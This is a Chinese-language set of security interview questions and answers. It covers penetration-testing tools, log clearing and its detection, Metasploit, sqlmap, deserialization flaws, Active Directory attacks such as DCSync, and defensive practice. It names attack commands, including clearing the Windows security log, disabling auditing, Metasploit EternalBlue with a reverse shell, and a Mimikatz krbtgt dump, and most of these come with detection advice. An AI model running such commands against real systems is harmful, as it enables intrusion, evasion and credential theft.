常见清理方法：1) 全量清除：`wevtutil cl Security`清除安全日志简单粗暴但会引起管理员注意；2) 按事件ID删除：使用工具删除特定事件ID的日志记录保留其他日志更隐蔽；3) 停止审计服务：`sc stop EventLog`停止Windows Event Log服务停止后续日志记录；4) 修改审计策略：`auditpol /set /category:*/success:disable /failure:disable`关闭审计策略。

检测方法：1) 日志清除事件：日志被清除时会生成Event ID 1102（安全审计日志已清除），该事件本身会被记录在System日志中。SIEM应配置针对1102事件的实时告警；2) 日志服务停止告警监控Event Log服务状态变更；3) 审计策略变更监控Event ID 4719；4) 日志连续性检查检测日志时间线中的空白段；5) 日志转发将日志实时转发到外部SIEM即使本地日志被清除远端仍保留记录；6) 异常日志清理模式非工作时间的大规模日志清除、新账户创建后立即清除日志等异常模式。

最佳实践：部署WEC（Windows Event Forwarding）或SIEM实现日志集中收集使攻击者无法通过清除本地日志消除痕迹。

五、安全工具与技术

70. Burp Suite的核心功能模块有哪些？

答案/解析： [易]

Burp Suite是Web渗透测试最常用的集成平台，核心模块：1) Proxy（代理）：拦截和修改HTTP/HTTPS请求和响应，支持HTTP历史记录查看和重放。可配置匹配/替换规则自动修改请求。

2) Repeater（重放器）：对单个HTTP请求进行手动修改和重发观察响应变化。常用于漏洞验证和Payload调试。

3) Intruder（入侵者）：对HTTP请求进行自动化批量攻击支持Sniper（单Payload集逐参数替换）、Battering ram（同一Payload集同时替换多参数）、Pitchfork（多Payload集并行替换）、Cluster bomb（多Payload集笛卡尔积）四种攻击模式。常用于密码爆破、参数Fuzzing。

4) Decoder（解码器）：支持URL、Base64、HTML、Hex等多种编码格式的编解码。

5) Comparer（比较器）：比较两个HTTP请求/响应的差异用于对比不同Payload的响应差异。

6) Sequencer（序列器）：分析会话Token的随机性评估Token是否可预测。

7) Scanner（扫描器，专业版）：自动化漏洞扫描检测SQL注入、XSS、CSRF等常见漏洞。

8) Extender（扩展器）：通过BApp Store安装第三方插件扩展功能如Logger++、Active Scan++、Authorize（越权检测）。常用技巧：利用Collaborator检测带外通信（SSRF、Blind XXE、Blind SQL注入）。

71. Nmap常用扫描参数及使用场景？

答案/解析： [易]

Nmap是网络发现和安全审计的核心工具，常用参数：

扫描类型：-sS（SYN扫描）半开扫描速度快且隐蔽需root权限；-sT（TCP全连接扫描）不需root但会被日志记录；-sU（UDP扫描）扫描UDP端口常用于检测DNS(53)、SNMP(161)；-sV（版本探测）识别服务版本用于漏洞匹配；-O（操作系统探测）通过TCP/IP协议栈特征识别操作系统；-A（综合扫描）等于-sS -sV -O --script=default --traceroute最全面但最慢。

扫描范围：-p-扫描所有65535个端口；-p 1-1000扫描指定范围；--top-ports 100扫描最常见100个端口。

速度和隐蔽性：-T0~T5时序模板T0最慢最隐蔽T5最快但最容易被检测；--scan-delay每个探测间隔；-f分片发送探测包绕过简单IDS。

NSE脚本：--script=vuln运行漏洞检测脚本；--script=smb-check-vulns检测SMB漏洞如MS17-010；--script=http-enum枚举Web目录。

常见用法：nmap -sS -sV -O -p- -T4 target.com（全端口服务版本+OS探测）。

72. Metasploit Framework的核心概念和使用流程？

答案/解析： [中]

Metasploit

Framework（MSF）是开源的漏洞利用框架。核心概念：Module（模块）包括exploit（漏洞利用）、payload（攻击载荷）、auxiliary（辅助模块如扫描/嗅探）、post（后渗透模块）、encoder（编码器用于免杀）；Session（会话）exploit成功后建立的连接分为Meterpreter和Shell两种；Listener（监听器）等待Payload回连的监听服务。

使用流程：1) 搜索漏洞模块search ms17-010；2) 选择并配置模块use exploit/windows/smb/ms17_010_eternalblue；3) 配置参数set RHOSTS目标IP、set PAYLOAD windows/x64/meterpreter/reverse_tcp、set LHOST监听IP；4) 执行攻击exploit或run。

Meterpreter常用命令：sysinfo系统信息、getuid当前用户、hashdump导出密码Hash、screenshot屏幕截图、down

load/upload文件传输、portfwd端口转发、route内网路由、migrate进程迁移将Meterpreter迁移到稳定进程、background将会话转入后台。

reverse_tcp

vs

bind_tcp: reverse_tcp由目标回连攻击者绕过进站防火墙，bind_tcp由目标开放端口等待攻击者连接适合目标有公网IP。

73. sqlmap的核心参数和使用技巧?

答案/解析: [中]

sqlmap是自动化SQL注入利用工具，核心参数:

目标指定: -u指定目标URL; -r从BurpSuite导出的HTTP请求文件读取目标自动设置Cookie等; -m批量扫描多个URL; --data指定POST数据。

注入检测与利用: --batch使用默认选项不交互提示; --level=5检测级别越高检测的注入点越多(Cookie、User-Agent等HTTP头也会检测); --risk=3风险级别高级别会使用更多可能导致数据破坏的Payload; --dbms=mysql指定数据库类型减少探测时间; --technique=BEUSTQ指定注入技术(B布尔盲注、E报错注入、U联合查询、S堆叠注入、T时间盲注)。

数据提取: --dbs列出所有数据库; --tables -D dbname列出指定数据库的表; --dump -D dbname -T tablename导出表数据; --sql-shell获取SQL Shell可执行自定义SQL。

高级功能: --os-shell获取操作系统Shell(通过INTO

OUTFILE写WebShell或UDF提权); --file-read读取服务器文件; --tamper=space2comment使用Tamper脚本绕过WAF; --proxy通过代理发送请求配合BurpSuite调试; --second-order二阶注入检测。

常用Tamper脚本: space2comment、between、charencode、randomcase、unmagicquotes。

74. 常见的子域名收集方法和工具有哪些?

答案/解析: [中]

子域名收集是渗透测试信息收集阶段的重要环节，方法分为:

被动收集(不直接接触目标): 1)

证书透明度日志crt.sh (<https://crt.sh/?q=domain.com>)、Censys, 当域名为子域名申请SSL证书时会记录在公开日志中; 2)

搜索引擎Google搜索site:*.domain.com

-www; 3)

第三方API如SecurityTrails、VirusTotal、Shodan、FOFA、ZoomEye、Hunter聚合多个数据源; 4)

DNS数据集Amass(集成多个数据源)、subfinder、OneForAll(中文工具集成大量数据源); 5)

GitHub搜索在GitHub上搜索目标域名可能发现开发者提交的配置文件中包含子域名。

主动收集(直接探测目标): 1)

DNS爆破使用字典文件对可能的子域名进行DNS解析工具如subdomain-brute、massdns(高性能); 2)

DNS区域传送dig axfr domain.com @ns.domain.com某些配置不当的DNS服务器允许区域传送返回所有子域名记录。

组合工具: Amass最全面集成被动API和主动爆破; subfinder + httpx收集子域名后验证存活性和标题。

后续步骤: 收集到子域名后使用httpx或httprobe验证HTTP服务存活使用nmap扫描开放端口使用whatweb识别技术栈指纹。

75. 什么是MITRE ATT&CK框架? 在安全评估中的作用?

答案/解析: [中]

MITRE ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge)是一个基于真实攻击行为观察的全球可访问知识库, 描述了攻击者使用的战术、技术和程序。

框架结构: 战术(Tactics)描述攻击目标的“为什么”即攻击过程的各个阶段, 包括侦察、资源开发、初始访问、

执行、持久化、权限提升、防御绕过、凭据访问、发现、横向移动、收集、命令与控制、数据外带、影响。技术(

Techniques) 描述攻击手段的“怎么做”每个战术下包含多个具体技术如初始访问下有钓鱼 (T1566)、利用公开应用 (T1190) 等。子技术 (Sub-techniques) 技术的细分如钓鱼下有鱼叉式钓鱼附件 (T1566.001)、鱼叉式钓鱼链接 (T1566.002)。

在安全评估中的作用: 1)

1) 红队评估按照ATT&CK矩阵设计攻击场景确保覆盖多种攻击技术评估防守方检测和响应能力; 2)

2) 蓝队检测覆盖将安全控制措施映射到ATT&CK技术识别检测盲区优先补齐高频攻击技术的检测能力; 3)

3) 威胁情报使用ATT&CK技术ID标注威胁情报实现情报结构化共享; 4) 安全成熟度评估通过ATT&CK Heat

Map可视化组织能检测和防御哪些攻击技术; 5) 模拟攻击使用ATT&CK Emulation Plans进行对抗演练。ATT&CK Navigator可视化工具可生成技术热力图直观展示检测覆盖率。

76. Wireshark在安全分析中的使用技巧?

答案/解析: [中]

Wireshark是网络协议分析的事实标准工具, 在安全分析中用于流量捕获、协议解析和入侵检测。

常用过滤表达式: 1) 协议过滤http、dns、tls、tcp、icmp、smb按协议过滤; 2) IP过滤ip.addr ==

192.168.1.1、ip.src == 10.0.0.1 && ip.dst == 8.8.8.8; 3) 端口过滤tcp.port == 443; 4)

4) HTTP过滤http.request.method == "POST"、http.request.uri contains "admin"; 5) 内容匹配http contains

"password"、tcp contains "eval"搜索载荷中特定字符串; 6) DNS过滤dns.qry.name contains

"evil.com"检测恶意域名查询; 7) TLS过滤tls.handshake.extensions_server_name contains

"domain.com" (SNI检测)。

安全分析场景: 1)

1) WebShell检测分析HTTP请求中异常的参数 (长Base64字符串、eval/system等关键词)、异常的请求频率和响应大小; 2)

2) C2通信检测识别Beacon式通信 (固定间隔的HTTP请求)、异常的DNS查询模式 (大量TXT记录、超长子域名); 3)

3) 数据外带检测分析大流量数据传输、异常协议使用 (DNS隧道、ICMP隧道); 4)

4) 横向移动检测SMB/RPC/WMI协议的异常使用、NTLM认证流量模式分析。

高级功能: Follow TCP Stream查看完整会话内容; TLS解密配置SSLKEYLOGFILE解密HTTPS流量; Statistics >

Conversations查看IP对通信统计; 导出HTTP传输的文件。

77. 什么是YARA规则? 在安全分析中的作用?

答案/解析: [中]

YARA是一种基于模式的恶意软件识别和分类工具, 通过编写文本规则来描述恶意软件的特征模式 (字符串、字节序列、正则表达式等), 然后对文件或进程内存进行扫描匹配。

YARA规则结构包含三部分: meta (元数据如描述、作者、日期)、strings (匹配特征支持文本字符串、十六进制

字节序列、正则表达式)、condition (匹配条件使用布尔逻辑组合多个字符串匹配结果支持文件大小、入口点偏

移、匹配次数等条件)。

在安全分析中的作用: 1)

1) 恶意软件分类: 编写已知恶意软件家族的YARA规则对文件系统或内存进行扫描快速识别感染范围; 2)

2) 威胁狩猎在EDR/SIEM中集成YARA引擎持续扫描终端文件和进程内存发现已知和变种恶意软件; 3)

3) 应急响应在事件响应过程中使用YARA规则快速定位恶意文件确定感染范围和传播路径; 4)

4) 威胁情报共享YARA规则作为威胁情报的一部分帮助其他组织检测相同威胁; 5)

5) 自动化分析在沙箱分析流水线中使用YARA规则对上传文件进行初步分类决定后续分析路径。

常用YARA规则集: YARAForge (社区维护的公开规则库)、AVast YARA Rules、FireEye

Rules。高级特性: PE头解析 (pe.number_of_sections)、模块导入 (pe.elf、cuckoo等)。

78. 什么是Splunk/ELK? 在安全运营中的作用?

答案/解析: [中]

Splunk和ELK Stack是两种主流的安全信息和事件管理(SIEM)平台,用于集中收集、分析和关联安全日志。

Splunk: 商业SIEM平台,强大的搜索语言(SPL)和丰富的可视化仪表盘。核心概念Indexer(索引和存储数据)、Search Head(搜索和报表)、Forwarder(数据采集agent)。安全功能Splunk Enterprise Security(ES)提供预置的安全用例、关联规则和威胁情报集成。优势是商业支持完善、APP生态丰富、处理非结构化数据能力强。

ELK Stack (Elasticsearch + Logstash + Kibana): Elasticsearch分布式搜索和分析引擎负责数据存储和检索; Logstash数据处理管道负责日志收集、解析和转换; Kibana可视化界面创建仪表板和图表; Beats轻量级数据采集agent (Filebeat收集日志文件、Winlogbeat收集Windows事件日志、Packetbeat收集网络流量)。安全功能Elastic Security提供威胁检测规则、MITRE ATT&CK集成和自动化响应。优势是开源免费、可扩展性强、社区活跃。

在安全运营中的作用: 1) 日志集中收集收集防火墙、IDS/IPS、EDR、服务器、应用等日志到统一平台; 2) 关联分析跨数据源关联事件发现复杂攻击; 3) 威胁检测基于规则和行为分析检测异常活动; 4) 安全运营中心(SOC)安全分析师使用SIEM进行告警分诊、事件调查和威胁狩猎; 5) 合规审计满足等保、ISO 27001等合规要求的日志留存和审计需求; 6) 自动化响应(SOAR)与编排自动化工具集成实现告警自动分诊和响应。

79. 如何使用Python编写一个简单的端口扫描器?

答案/解析: [中]

端口扫描器的基本实现思路和注意事项:

设计要点: 1) 使用socket进行TCP连接扫描(全连接扫描)适用于普通权限环境; 2) 使用多线程提高扫描速度但需控制并发数避免耗尽资源; 3) 设置合理的超时时间(通常1-3秒)避免等待过长时间。

实现框架(核心逻辑): 创建socket对象sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); 设置超时sock.settimeout(1); 尝试连接result = sock.connect_ex((target_ip, port)); 判断结果result为0表示端口开放非0表示关闭或被过滤; 关闭socket sock.close()。

功能增强方向: 1) SYN扫描使用Scapy构造原始SYN包需root权限更隐蔽; 2) 服务指纹识别连接后接收Banner信息或发送特定探测包识别服务类型和版本; 3) UDP扫描对UDP端口发送特定协议探测包根据响应判断开放状态; 4) 速率控制实现令牌桶算法控制扫描速率避免触发IDS/IPS; 5) 结果持久化将扫描结果保存为JSON/CSV便于后续分析。

生产环境建议使用成熟的扫描工具(Nmap、masscan)而非自研脚本,但在特定场景(如定制化扫描逻辑、学习网络协议)中自研脚本有其价值。安全提示: 端口扫描应仅在获得授权的目标上进行。

80. 什么是EDR? 与传统AV的区别?

答案/解析: [中]

EDR (Endpoint Detection and Response)是终端检测与响应系统,通过持续监控终端行为、收集安全事件数据、使用行为分析引擎检测威胁,并提供响应能力。

与传统AV(杀毒软件)的区别: 1)

检测方式: AV主要依赖特征码匹配已知恶意软件签名; EDR结合行为分析、机器学习和威胁情报检测已知和未知威胁包括无文件攻击、Living Off The Land等高级技术; 2)

可见性: AV仅关注文件扫描和实时防护; EDR提供全面的终端活动可见性包括进程创建、网络连接、注册表修改、文件操作、API调用等; 3)

响应能力：AV主要功能是删除/隔离恶意文件；EDR提供丰富的响应能力包括进程终止、网络隔离、文件隔离、内存dump、远程Shell、事件回溯等；4)

数据收集：AV不存储详细事件数据；EDR持续收集和存储终端安全事件形成完整攻击链路便于事件调查和威胁狩猎；5)

检测覆盖：AV无法检测无文件攻击、合法工具滥用、横向移动等高级威胁；EDR通过行为分析和API监控可检测这些威胁。

主流EDR产品：CrowdStrike Falcon、Microsoft Defender for Endpoint、SentinelOne、Carbon Black等。部署EDR时应关注：API Hook覆盖范围、内核级监控能力、内存扫描、与其他安全工具的集成。

六、综合面试题

81. 如果一台服务器被入侵后，应急响应流程是什么？

答案/解析： [中]

服务器被入侵后的应急响应流程：1)

隔离：立即断开被入侵服务器的网络连接（拔网线或修改防火墙规则），防止攻击者进一步操作和数据外带。注意不要关机以保留内存中的证据。

2)

取证：制作内存镜像（使用Volatility或DumpIt分析内存中的恶意进程、网络连接、注入代码）；制作磁盘镜像（使用dd或FTK

Imager创建完整的磁盘镜像用于后续分析）；导出系统日志（Windows事件日志、Web访问日志、系统日志）。

3) 溯源分析：分析Web日志定位攻击入口（异常URL、SQL注入特征、文件上传行为）；分析异常进程（lssof -p PID查看进程打开的文件和网络连接、ps

aux查看进程树）；检查持久化机制（计划任务、服务、注册表自启动、WMI订阅）；检查后门文件（WebShell、Rotkit、隐藏账户）；分析网络连接确定C2服务器地址和数据外带情况。

4) 清除：删除恶意文件和后门；清除持久化机制；重置被泄露的密码和密钥；修补被利用的漏洞。

5)

恢复：从可信备份恢复系统或重装系统；加强安全配置（更新补丁、强化认证、部署WAF/EDR）；逐步恢复服务并持续监控。

6) 总结：编写事件报告分析根因和改进措施。

82. PHP反序列化漏洞的原理及防御？

答案/解析： [中]

PHP反序列化漏洞原理：PHP的unserialize()函数将序列化的字符串还原为PHP对象。在反序列化过程中会自动调用对象的魔术方法（__wakeup()、__destruct()、__toString()等）。如果这些魔术方法中存在危险操作（如eval、system、file_get_contents），且攻击者能控制反序列化的输入，就可以构造恶意序列化字符串触发代码执行。

常见魔术方法：__wakeup()反序列化时调用；__destruct()对象销毁时调用；__toString()对象被当做字符串时调用；__call()调用不存在的方法时调用。

POP链（Property-Oriented

Programming）：当单个类的魔术方法无法直接执行危险操作时，通过多个类的魔术方法调用链实现代码执行。类似于Java的Gadget Chain。

利用条件：1) 存在unserialize()调用且输入可控；2) 代码中存在可利用的魔术方法调用链；3) 有合适的“跳板”类（如文件操作类、命令执行类）。

防御：1) 避免对不可信数据使用unserialize()，使用json_decode()替代；2) PHP 7+可使用allowed_classes参数限制反序列化的类白名单；3) 对序列化数据签名验证完整性防止篡改；4) 审计代码中的魔术方法实现确保不包含危险操作。

83. 什么是Fastjson反序列化漏洞？

答案/解析： [难]

Fastjson是阿里巴巴开源的Java JSON解析库，其反序列化漏洞核心在于autoType特性。

漏洞原理：Fastjson的autoType功能允许在JSON中通过@type字段指定要反序列化的Java类名。Fastjson会根据指定的类名通过Class.forName()加载类并调用其setter方法设置属性。如果指定的类中存在危险的setter方法（如JdbcRowSetImpl的setAutoCommit方法会触发JNDI lookup），攻击者可以构造恶意JSON实现远程代码执行。

攻击过程：1) 攻击者在JSON中指定@type为com.sun.rowset.JdbcRowSetImpl；2) 设置dataSourceName为攻击者控制的LDAP/RMI服务地址；3) Fastjson反序列化时调用setDataSourceName和setAutoCommit；4) setAutoCommit触发JNDI lookup连接攻击者的LDAP服务；5) LDAP服务返回恶意Java类的引用目标服务器加载并执行恶意代码。
 常见利用链：JdbcRowSetImpl（JNDI注入）、TemplatesImpl（直接代码执行需Feature.SupportNonPublicField）、BCEL ClassLoader。
 防御：1) 升级到Fastjson 1.2.83+或迁移到Fastjson 2.x；2) 关闭autoType（ParserConfig.getGlobalInstance().setAutoTypeSupport(false））；3) 使用autoType白名单仅允许安全的类；4) 使用Jackson/Gson等替代库（默认不允许任意类反序列化）；5) 升级JDK版本限制JNDI远程类加载（JDK 8u191+限制LDAP/RMI远程引用）。

84. 常见的中间件漏洞有哪些？

答案/解析： [中]

常见中间件漏洞：

- 1) Tomcat：弱口令后台部署（/manager/html默认账号tomcat/tomcat）部署war包获取Shell；AJP协议漏洞（CVE-2020-1938 Ghostcat）读取Web目录下任意文件；PUT方法任意文件上传。
 - 2) WebLogic：反序列化漏洞（CVE-2015-4852、CVE-2017-10271、CVE-2020-2551）通过T3协议触发；SSRF漏洞（/uddiexplorer/SearchPublicRegistries.jsp）探测内网；弱口令控制台部署应用。
 - 3) JBoss：反序列化漏洞（CVE-2015-7501）通过JMXInvokerServlet触发；JMX Console未授权访问部署war包。
 - 4) Apache Shiro：rememberMe反序列化（Shiro-550）AES密钥硬编码导致可构造恶意Cookie；Padding Oracle攻击（Shiro-721）无需密钥但需有效用户Cookie。
 - 5) Spring Framework：Spring4Shell（CVE-2022-22965）通过参数绑定修改Tomcat日志配置写入WebShell；Spring Boot Actuator未授权访问（/actuator/heapdump泄露内存信息）。
 - 6) Struts2：OGNL表达式注入（S2-045、S2-046、S2-052等）通过Content-Type或参数触发远程代码执行。
- 防御：及时升级中间件版本、关闭不必要的管理接口、修改默认密码、限制管理接口访问IP、部署WAF。

85. 什么是域控制器（DC）？如何攻击域控？

答案/解析： [难]

域控制器（Domain Controller, DC）是Active Directory域环境中的核心服务器，负责存储域账户信息、处理认证请求（Kerberos/NTLM）、维护域安全策略。

攻击域控的常见路径：1)

利用域控漏洞直接攻击：ZeroLogon（CVE-2020-1472）重置域控机器账户密码为空后通过DCSync获取全域Hash；PrintNightmare（CVE-2021-34527）利用Print Spooler服务以SYSTEM权限执行代码；永恒之蓝（MS17-010）通过SMB漏洞直接攻击域控。

2)

从域内主机横向移动到域控：获取域管理员凭据后通过PsExec、WMI、WinRM、psexec等远程管理工具登录域控；Pass The Hash使用域管理员Hash直接访问域控SMB服务。

3) 通过域内权限滥用攻击域控：Kerberoasting爆破服务账户密码获取域控服务账户权限；AS-REP Roasting对未设置预认证的域用户进行离线爆破；ACL滥用通过BloodHound发现从普通用户到域管理员的提权路径；资源约束委派（RBCD）获取域控计算机账户的模拟权限。

4) DCSync攻击：拥有DCSync权限（Replicating Directory Changes权限）的账户可通过DRSUAPI协议模拟域控同步行为获取域内所有用户的NTLM Hash包括krbtgt账户。

防御：域控及时修补漏洞、关闭不必要的Print

Spooler服务、限制域管理员登录范围（不登录普通工作站）、部署LAPS、启用高级安全审计。

86. 什么是DCSync攻击？

答案/解析： [难]

DCSync攻击原理：在Active Directory域环境中，域控之间通过DRSUAPI（Directory Replication Service Remote Protocol）协议进行目录数据复制同步。拥有“Replicating Directory Changes”和“Replicating Directory Changes All”权限的账户可以模拟域控向其他域控请求目录复制，从而获取域内所有用户的密码Hash。

拥有DCSync权限的默认账户/组：Domain Admins、Enterprise Admins、DC计算机账户。但某些配置错误可能授予其他账户这些权限。

攻击过程：1) 攻击者获取了具有DCSync权限的账户（直接获取域管理员凭据或通过ACL滥用获得复制权限）；2) 使用Mimikatz的lsadump::dcsync /domain:corp.com /user:krbtgt命令或Impacket的secretsdump.py；3) 向域控发送DRSGetNCChanges请求模拟域控复制行为；4) 域控返回域内所有用户的NTLM Hash包括krbtgt账户Hash。

攻击影响：获取krbtgt Hash后可伪造Golden Ticket实现持久化后门；获取域管理员Hash后可访问域内任意主机。与直接dump

NTDS.dit的区别：DCSync不需要在域控上执行代码（不需要获取域控Shell），只需要拥有复制权限的账户凭据即可通过网络远程获取。这使得DCSync更隐蔽且可用于权限维持。

防御：审计AD中拥有复制权限的账户列表确保仅Domain

Admins和DC计算机账户拥有；监控异常的目录复制请求（4662事件）；限制域管理员的登录范围防止凭据被窃取。

87. 常见的社会工程学攻击手段有哪些？

答案/解析： [易]

社会工程学是利用人性弱点而非技术手段获取信息或访问权限的攻击方式。常见手段：1)

钓鱼邮件（Phishing）：伪造合法机构邮件诱导受害者点击恶意链接或下载附件。鱼叉式钓鱼（Spear Phishing）针对特定个人定制内容更逼真；捕鲸攻击（Whaling）针对高管人员。

2) 水坑攻击（Watering Hole）：攻击者入侵目标群体常访问的合法网站植入恶意代码当目标访问时被感染。

3) 诱饵攻击（Baiting）：在目标附近放置受感染的USB驱动器或设备利用好奇心诱导目标插入电脑。

4) 尾随（Tailgating）：攻击者跟随授权人员进入受物理访问控制的区域。

5) 假冒身份（Pretexting）：编造虚假场景或身份（如IT支持人员、审计员）通过电话或面对面获取敏感信息。

6)

逆向社会工程学：攻击者先制造问题（如发送系统故障通知）然后以帮助者身份出现要求提供信息或访问权限。

7) 商业邮件 compromise（BEC）：冒充高管或供应商要求紧急转账或更改付款账户。

防御：定期安全意识培训；邮件过滤和沙箱检测附件；多因素认证（MFA）降低凭据泄露影响；实施严格的财务审批流程；物理访问控制。

88. 如何编写一个安全的文件上传功能？

答案/解析： [中]

安全的文件上传功能应从以下维度进行防护：1)

前端验证（用户体验层）：限制文件类型和大小提示用户但不作为安全依赖因为可被绕过。

2)

后端验证（安全核心）：白名单校验文件扩展名仅允许必要的文件类型（如jpg/png/pdf）；检测文件真实类型通过文件头（Magic

Bytes）而非仅依赖扩展名如JPEG以FFD8开头PNG以89504E47开头；检测文件内容使用杀毒引擎或YARA规则扫描恶意

特征。

3)

文件存储安全：重命名上传文件使用UUID或随机字符串命名消除原始文件名信息；存储到非Web目录避免直接通过URL访问上传文件；使用独立子域或CDN提供文件访问与主站隔离Cookie和同源策略。

4) 权限控制：上传接口需要认证和授权检查确保只有合法用户可以上传；限制上传频率防止滥用。

5) 服务端配置：关闭上传目录的脚本执行权限（Nginx: location /uploads/ { location ~ /\.php\$ { deny all; } }）；配置CSP防止存储型XSS。

6)

图片处理安全：如果需要对上传图片进行处理（缩略图、水印）使用安全的图片处理库注意防止ImageMagick等库的漏洞（如ImageTragick）。

7) 文件大小限制：限制单个文件大小和总上传量防止DoS。

89. 什么是零信任安全架构？

答案/解析： [中]

零信任（Zero

Trust）是一种安全架构理念，核心原则是“从不信任，始终验证”。传统的边界安全模型（城堡护城河模型）信任内网内部的流量，零信任认为内网和外部网络一样不可信，所有访问请求无论来源都需要进行身份验证和授权。

零信任核心原则：1) 永不信任始终验证：每个访问请求都需要进行身份验证、授权和加密不论来源位置；2)

最小权限：用户和设备仅获得完成任务所需的最小权限；3)

微隔离：将网络划分为细粒度的安全区域每个应用和服务独立隔离；4)

持续监控：持续评估用户行为、设备状态和访问风险动态调整信任级别。

零信任架构组件：1) 身份提供者（IdP）：集中管理用户身份和认证如Okta、Azure AD；2)

设备健康检查：验证设备是否满足安全要求（补丁更新、EDR运行、磁盘加密）；3)

策略决策点（PDP）：根据身份、设备、上下文（位置、时间、行为）评估访问请求；4)

策略执行点（PEP）：在应用前拦截请求执行PDP的决策；5) 微隔离：基于身份而非IP的访问控制。

与渗透测试的关系：零信任环境下传统内网横向移动变得困难因为每个服务访问都需要认证和授权，但攻击者仍可通过窃取合法凭据、利用应用漏洞或供应链攻击突破零信任架构。

90. 什么是DevSecOps？如何在开发流程中集成安全？

答案/解析： [中]

DevSecOps是将安全实践集成到DevOps开发流程中的方法论，核心目标是“安全左移”（Shift Left Security）在开发早期阶段而非上线后才进行安全检测降低修复成本。

DevSecOps在各阶段的集成：1) 需求和设计阶段：威胁建模（Threat Modeling）使用STRIDE等方法分析设计中的安全风险；安全需求评审确保安全需求纳入产品需求文档。

2) 编码阶段：安全编码规范培训（OWASP Top 10、CERT编码标准）；IDE安全插件实时检测代码中的安全问题（如SonarLint、Snyk插件）；代码提交前使用pre-commit hook进行秘密扫描防止凭据泄露到代码仓库。

3)

代码提交和CI阶段：静态应用安全测试（SAST）扫描源代码中的安全漏洞如SQL注入、XSS（工具SonarQube、Checkmarx、Semgrep）；软件成分分析（SCA）检测第三方依赖中的已知漏洞和许可证风险（工具Snyk、OWASP Dependency-Check、Trivy）。

4)

构建和打包阶段：镜像安全扫描检测Docker镜像中的漏洞（工具Trivy、Clair）；签名验证确保构建产物完整性。

5) 测试和CD阶段：动态应用安全测试（DAST）对运行中的应用进行安全扫描（工具OWASP ZAP、Burp Suite Enterprise）；渗透测试对关键功能进行人工安全验证；基础设施即代码安全扫描（IaC

Security) 检测Terraform/CloudFormation中的配置风险。

6)

运行时阶段：运行时应用自保护（RASP）在应用运行时检测和阻止攻击；EDR和SIEM持续监控运行时安全事件；定期漏洞扫描和渗透测试。

关键成功因素：安全工具集成到CI/CD流水线自动化执行不阻塞开发流程；安全发现以可操作的方式反馈给开发人员；建立安全度量指标跟踪改进效果。
